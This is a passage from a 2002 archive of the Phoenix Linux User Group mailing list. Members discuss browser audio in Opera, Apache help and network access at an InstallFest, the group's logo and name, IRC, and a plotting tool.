mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ------------------------------------------------------- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:23:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 12:23:08 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <200206211753.g5LHrI205079@PlugList.MyButt.Net> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Message-ID: <200206211223.08520.zen2now@qwest.net> i dont know if this will help you. but i was able to play a .wav from the plugger test page in opera 6.0 @ http://fredrik.hubbe.net/plugger/test.html, by editing preferences/applications=audio/x-wav, select "Open with other Application" and choose /usr/bin/xmms. I dont know if this will work in your situation, but from the plugger test page i was able to click on the WAV link to the left and play test.wav. slr On Friday 21 June 2002 10:00 am, charlie bullen wrote: > Hi, So far Opera 6.01 is the only browser that does all I need it to do > except 1 thing. I have a web page that downloads a wav file when certain > events happen. I have to be able to hear the wave file. > > I can hear sound if it comes in as part of a shockwave file. > > When I go to the preferences section "Enable embedded audio" is grayed out > . > > I think that perhaps the line in the page that brings in the sound file may > be a prorietary Microsoft tag. I've asked the developer to email me the > code, but haven't gotten it yet. > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue > using linux at work. > > > HELP!!!! > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:31:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Fri, 21 Jun 2002 12:31:21 -0700 (PDT) Subject: Apache expert at Installfest In-Reply-To: Message-ID: <20020621193121.48571.qmail@web13908.mail.yahoo.com> I would love to upgrade the apache on Mandrake 7.2, will there be an internet connection to download the needed files? Should we have a side area for upgrading Apache? mike --- Matt Alexander wrote: > Yeah, I'll be there to help you with Apache. > > > On Fri, 21 Jun 2002, Alpha Zenon Sanchez wrote: > > > Hello Linux users: > > > > Will there be an Apache 'expert' tomorrow at > > installfest? I can bring my machine with RH 7.2. > I > > just need help installing Apache and getting it to > > run. > > > > I have no clue. If anyone recommends a better > > distribution that runs Apache, rather than RH, > should > > I just reformat my drive and use that distribution > > instead? > > > > BTW, is it easier just to bring the CPU, KB and > mice? > > Will the event have monitors and mice we can > > temporarily use? > > > > Looking forward to meet 'yall.' > > > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:32:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 21 Jun 2002 12:32:03 -0700 Subject: Plug Logo Update In-Reply-To: <002701c21931$22b4c780$2f7c0d82@peyote> References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <5.1.0.14.0.20020621122416.024ff170@localhost> Logos mostly are for the brand naming of such groups, items or services that a company or group wish to be known by. Google changes things from time to time but still have the "same" lettering. I believe that a logo should be a single logo but that we can add things to it. Like around during the second season we have of summer, have the flowers. Otherwise, I vote for only the saguaro. The prickly pear is just funny looking. My two copper, shiny pennies worth. Kimi Adams Unity Wave At 6/21/02, you wrote: >actually that is what i was thinking, but i didnt know how the rest of the >group would feel about that. >but IMHO, i think we should have both. > >slr > >----- Original Message ----- >From: "Dennis Kibbe" >To: >Sent: Friday, June 21, 2002 6:00 AM >Subject: Re: Plug Logo Update > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > Am 20. Jun, 2002 schwätzte slr so: > > > > good point. i will get Austin to create one with saguaro's as well. > > > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to >have > > > one with flowers, but they'd look like zits on small images... > > > > > > ciao, > > > > > > der.hans > > > > The logo is looking good! The prickley pear work for me. Any reason not >to do > > both pear and sahuaro for variety? > > > > I'm thinking t-shirts! > > > > Dennis Kibbe > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:12:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Fri, 21 Jun 2002 13:12:00 -0700 Subject: Off-topic... In-Reply-To: Message-ID: Last I heard, there was one, but he moved. BTW, yes, I have returned. :) On 6/21/02 11:35 AM, "G.D.Thurman" wrote: > > On Fri, 21 Jun 2002, J.Francois wrote: > >> Maybe I should plan my next vacation around the PLUG meeting dates and doing >> a presentation on FreeBSD instead. >> > Excellent. I hope your schedule allows > you to do this. > > Is there an active Phoenix *BSD User Group? > > Thanks to MitchW for this URL to an interview > with Jordan Hubbard. [Hubbard has not used Linux.] > http://kerneltrap.org/node.php?id=278 > > G.D. Thurman [CS/CIS Instructor] > http://deru.com/~gdt/ > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:33:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 13:33:21 -0700 Subject: Off-topic... In-Reply-To: ; from jivad@earthlink.net on Fri, Jun 21, 2002 at 01:12:00PM -0700 References: Message-ID: <20020621133321.A5572@nadesico> On Fri, Jun 21, 2002 at 01:12:00PM -0700, Jiva DeVoe wrote: > Last I heard, there was one, but he moved. > > BTW, yes, I have returned. :) Congrats! ^,^ ...returned as in to the list, or returned as in to the valley? =op -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:27:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 16:27:59 -0400 Subject: InstallFest internet connection? Yes! Message-ID: This has come up a few times in reference to the InstallFest so... Yes, there will be access to the internet at the InstallFest. Wired access is definately going to be provided. Bring a network cable if you want. I don't know if wireless connection will be available. I don't know the status of dial-up connection capabilities. I am told there will be no problems with power but you may want to bring a power strip along to make sure we don't run out of them. Alan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:32:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 13:32:28 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> <5.1.0.14.0.20020621122416.024ff170@localhost> Message-ID: <004101c21962$c3bbf640$2f7c0d82@peyote> well i had a talk with austin's boss, and he is now in the office. :~D just kidding! i gave him the imput from the group, and he said he would get on it when he gets a chance. so maybe be days end, we will have one with a saguaro, and a centered "Phoenix Linux". but what is the feeling from the group about the S. should it be "Users Group", or like it is on the PLUG website "User Group"? slr ----- Original Message ----- From: "Kimi A. Adams" To: Sent: Friday, June 21, 2002 12:32 PM Subject: Re: Plug Logo Update > Logos mostly are for the brand naming of such groups, items or services > that a company or group wish to be known by. Google changes things from > time to time but still have the "same" lettering. I believe that a logo > should be a single logo but that we can add things to it. Like around > during the second season we have of summer, have the flowers. > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > looking. My two copper, shiny pennies worth. > > Kimi Adams > Unity Wave > > At 6/21/02, you wrote: > >actually that is what i was thinking, but i didnt know how the rest of the > >group would feel about that. > >but IMHO, i think we should have both. > > > >slr > > > >----- Original Message ----- > >From: "Dennis Kibbe" > >To: > >Sent: Friday, June 21, 2002 6:00 AM > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > good point. i will get Austin to create one with saguaro's as well. > > > > > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to > >have > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > ciao, > > > > > > > > der.hans > > > > > > The logo is looking good! The prickley pear work for me. Any reason not > >to do > > > both pear and sahuaro for variety? > > > > > > I'm thinking t-shirts! > > > > > > Dennis Kibbe > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:32:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Fri, 21 Jun 2002 13:32:36 -0700 Subject: Off-topic... In-Reply-To: <20020621133321.A5572@nadesico> Message-ID: Returned as in to the valley. :) On 6/21/02 1:33 PM, "mondoshawan@tank.dyndns.org" wrote: > On Fri, Jun 21, 2002 at 01:12:00PM -0700, Jiva DeVoe wrote: >> Last I heard, there was one, but he moved. >> >> BTW, yes, I have returned. :) > > Congrats! ^,^ > ...returned as in to the list, or returned as in to the valley? =op From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:59:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 21 Jun 2002 13:59:27 -0700 Subject: Plug Logo Update In-Reply-To: <004101c21962$c3bbf640$2f7c0d82@peyote> References: <5.1.0.14.0.20020621122416.024ff170@localhost> <004101c21962$c3bbf640$2f7c0d82@peyote> Message-ID: <0206211359270C.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I did a quick check and there doesnt seem to be a preferred form - Users Group vs. User Group. Historically, this group has been known as the Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users Group. Makes no difference to me. Just get it done cause I want a PLUG tshirt NOW! On Friday 21 June 2002 13:32, you wrote: > well i had a talk with austin's boss, and he is now in the office. :~D just > kidding! i gave him the imput from the group, and he said he would get on > it when he gets a chance. so maybe be days end, we will have one with a > saguaro, and a centered "Phoenix Linux". but what is the feeling from the > group about the S. should it be "Users Group", or like it is on the PLUG > website "User Group"? > > slr > > ----- Original Message ----- > From: "Kimi A. Adams" > To: > Sent: Friday, June 21, 2002 12:32 PM > Subject: Re: Plug Logo Update > > > Logos mostly are for the brand naming of such groups, items or services > > that a company or group wish to be known by. Google changes things from > > time to time but still have the "same" lettering. I believe that a logo > > should be a single logo but that we can add things to it. Like around > > during the second season we have of summer, have the flowers. > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > looking. My two copper, shiny pennies worth. > > > > Kimi Adams > > Unity Wave > > > > At 6/21/02, you wrote: > > >actually that is what i was thinking, but i didnt know how the rest of > > the > > > >group would feel about that. > > >but IMHO, i think we should have both. > > > > > >slr > > > > > >----- Original Message ----- > > >From: "Dennis Kibbe" > > >To: > > >Sent: Friday, June 21, 2002 6:00 AM > > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > good point. i will get Austin to create one with saguaro's as > > well. > > > > > > If we he does, can we impose further and get sag w/ and w/o > > blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > to > > > > > >have > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > ciao, > > > > > > > > > > der.hans > > > > > > > > The logo is looking good! The prickley pear work for me. Any reason > > not > > > >to do > > > > > > > both pear and sahuaro for variety? > > > > > > > > I'm thinking t-shirts! > > > > > > > > Dennis Kibbe > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn eJP6zFk+qRYwKinOQZl+0XKb =0T92 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:11:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 14:11:32 -0700 Subject: Plug Logo Update In-Reply-To: <0206211359270C.01526@nova.wedge.org> References: <004101c21962$c3bbf640$2f7c0d82@peyote> <0206211359270C.01526@nova.wedge.org> Message-ID: <200206211411.32894.zen2now@qwest.net> Oh my! When did you WANT that done!! hehe :~D then its settled, we will leave it the way it is "User Goup", but if it becomes a big issue we will just add an S. slr On Friday 21 June 2002 01:59 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I did a quick check and there doesnt seem to be a preferred form - Users > Group vs. User Group. Historically, this group has been known as the > Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users > Group. Makes no difference to me. Just get it done cause I want a PLUG > tshirt NOW! > > On Friday 21 June 2002 13:32, you wrote: > > well i had a talk with austin's boss, and he is now in the office. :~D > > just kidding! i gave him the imput from the group, and he said he would > > get on it when he gets a chance. so maybe be days end, we will have one > > with a saguaro, and a centered "Phoenix Linux". but what is the feeling > > from the group about the S. should it be "Users Group", or like it is on > > the PLUG website "User Group"? > > > > slr > > > > ----- Original Message ----- > > From: "Kimi A. Adams" > > To: > > Sent: Friday, June 21, 2002 12:32 PM > > Subject: Re: Plug Logo Update > > > > > Logos mostly are for the brand naming of such groups, items or services > > > that a company or group wish to be known by. Google changes things > > > from time to time but still have the "same" lettering. I believe that > > > a logo should be a single logo but that we can add things to it. Like > > > around during the second season we have of summer, have the flowers. > > > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > > looking. My two copper, shiny pennies worth. > > > > > > Kimi Adams > > > Unity Wave > > > > > > At 6/21/02, you wrote: > > > >actually that is what i was thinking, but i didnt know how the rest of > > > > the > > > > > >group would feel about that. > > > >but IMHO, i think we should have both. > > > > > > > >slr > > > > > > > >----- Original Message ----- > > > >From: "Dennis Kibbe" > > > >To: > > > >Sent: Friday, June 21, 2002 6:00 AM > > > >Subject: Re: Plug Logo Update > > > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > > good point. i will get Austin to create one with saguaro's as > > > > well. > > > > > > > > If we he does, can we impose further and get sag w/ and w/o > > > > blossoms? > > > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > > to > > > > > > > >have > > > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > > > ciao, > > > > > > > > > > > > der.hans > > > > > > > > > > The logo is looking good! The prickley pear work for me. Any > > > > > reason > > > > not > > > > > >to do > > > > > > > > > both pear and sahuaro for variety? > > > > > > > > > > I'm thinking t-shirts! > > > > > > > > > > Dennis Kibbe > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't > > > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn > eJP6zFk+qRYwKinOQZl+0XKb > =0T92 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:01:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Fri, 21 Jun 2002 14:01:40 -0700 Subject: InstallFest internet connection? Yes! Message-ID: <200206212102.RAA13675@hostinworld6.com> What about common perhiperals? Will there be mice, keyboards and monitors? If a person has "special" hardware, they should bring it but what about a monitor at least? Should we really expect people to lug their huge computers and then their 50lb. monitors? Alandd@mindspring.com wrote : > This has come up a few times in reference to the InstallFest so... > > Yes, there will be access to the internet at the InstallFest. Wired access > is > definately going to be provided. Bring a network cable if you want. I > don't > know if wireless connection will be available. > > I don't know the status of dial-up connection capabilities. > > I am told there will be no problems with power but you may want to bring a > power strip along to make sure we don't run out of them. > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:15:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Fri, 21 Jun 2002 14:15:50 -0700 Subject: Plug Logo Update In-Reply-To: <0206211359270C.01526@nova.wedge.org> Message-ID: I think most LUGs are known as "Users Groups," so for the sake of conformity (aaaarrrrgh), perhaps we should also be a "Users Group." -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jim Sent: Friday, June 21, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug Logo Update -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I did a quick check and there doesnt seem to be a preferred form - Users Group vs. User Group. Historically, this group has been known as the Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users Group. Makes no difference to me. Just get it done cause I want a PLUG tshirt NOW! On Friday 21 June 2002 13:32, you wrote: > well i had a talk with austin's boss, and he is now in the office. :~D just > kidding! i gave him the imput from the group, and he said he would get on > it when he gets a chance. so maybe be days end, we will have one with a > saguaro, and a centered "Phoenix Linux". but what is the feeling from the > group about the S. should it be "Users Group", or like it is on the PLUG > website "User Group"? > > slr > > ----- Original Message ----- > From: "Kimi A. Adams" > To: > Sent: Friday, June 21, 2002 12:32 PM > Subject: Re: Plug Logo Update > > > Logos mostly are for the brand naming of such groups, items or services > > that a company or group wish to be known by. Google changes things from > > time to time but still have the "same" lettering. I believe that a logo > > should be a single logo but that we can add things to it. Like around > > during the second season we have of summer, have the flowers. > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > looking. My two copper, shiny pennies worth. > > > > Kimi Adams > > Unity Wave > > > > At 6/21/02, you wrote: > > >actually that is what i was thinking, but i didnt know how the rest of > > the > > > >group would feel about that. > > >but IMHO, i think we should have both. > > > > > >slr > > > > > >----- Original Message ----- > > >From: "Dennis Kibbe" > > >To: > > >Sent: Friday, June 21, 2002 6:00 AM > > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > good point. i will get Austin to create one with saguaro's as > > well. > > > > > > If we he does, can we impose further and get sag w/ and w/o > > blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > to > > > > > >have > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > ciao, > > > > > > > > > > der.hans > > > > > > > > The logo is looking good! The prickley pear work for me. Any reason > > not > > > >to do > > > > > > > both pear and sahuaro for variety? > > > > > > > > I'm thinking t-shirts! > > > > > > > > Dennis Kibbe > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn eJP6zFk+qRYwKinOQZl+0XKb =0T92 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:26:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 21 Jun 2002 14:26:30 -0700 Subject: data plotting question Message-ID: <3D139A06.C504FF3@leml.asu.edu> I need to make some graphs of digital elevation map like messes. I was hoping to find something easier than gnuplot, but without having to reinstall KDE to get a new version of kchart, kspead, etc. working. Any suggestions? Thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 21 Jun 2002 14:31:49 -0700 Subject: irc Message-ID: <200206211431.49050.plug@unfm00.com> Does anyone idle in the irc? Or does the plug still have a channel? jon k unfm00.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:49:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 21 Jun 2002 14:49:27 -0700 (MST) Subject: Off-topic... In-Reply-To: Message-ID: Am 21. Jun, 2002 schwätzte G.D.Thurman so: > Is there an active Phoenix *BSD User Group? No. No reason, other than probs with the name, to start a seperate group. PLUG can handle *BSD stuff as well. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:46:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 21 Jun 2002 15:46:45 -0700 Subject: irc In-Reply-To: <200206211431.49050.plug@unfm00.com> References: <200206211431.49050.plug@unfm00.com> Message-ID: <20020621154645.1143e083.snoogans@qwest.net> I am almost allways idling on irc :) im BoBB on irc, SyZ is also idling there almost 24/7 :) and hawk shows up once in a while too On Fri, 21 Jun 2002 14:31:49 -0700 "Jon K" wrote: > Does anyone idle in the irc? Or does the plug still have a channel? > > jon k > unfm00.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:49:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 21 Jun 2002 15:49:20 -0700 Subject: woops Message-ID: <20020621154920.3e3faa2e.snoogans@qwest.net> a few weeks ago i sent a message to list askingif anyone had small firewall-sized hard drives to sell. Someone responded and everything was good except i lost thier e-mail :( just wanted to double check that you would be there tommorow if you see this go ahead and e-mail me :) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:57:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 18:57:25 -0400 Subject: InstallFest internet connection? Yes! Message-ID: Configuring video settings for X can be tricky sometimes. The best way to make sure the user gets an optimum setup for their equipment is to have the equipment. I would recommend that they bring the monitor too, however inconvenient that may be. However, there will be SOME spare keyboards, mice and maybe even monitors there. I don't know if there will be enough for everyone if they don't bring their own. And, someone that did not bring a monitor always has this list and member resources available if they want to upgrade their video settings for a better monitor at home. They just have to understand that they may not leave the Install Fest with the optimum settings and they may have to wait until a spare whatever becomes available before their install can proceed. We will do our best to accomodate. Alan On Fri, 21 Jun 2002 14:01:40 -0700 Bryce C wrote: What about common perhiperals? Will there be mice, keyboards and monitors? If a person has "special" hardware, they should bring it but what about a monitor at least? Should we really expect people to lug their huge computers and then their 50lb. monitors? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 23:22:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Fri, 21 Jun 2002 16:22:36 -0700 Subject: Just Verifying. (Installfest) Message-ID: 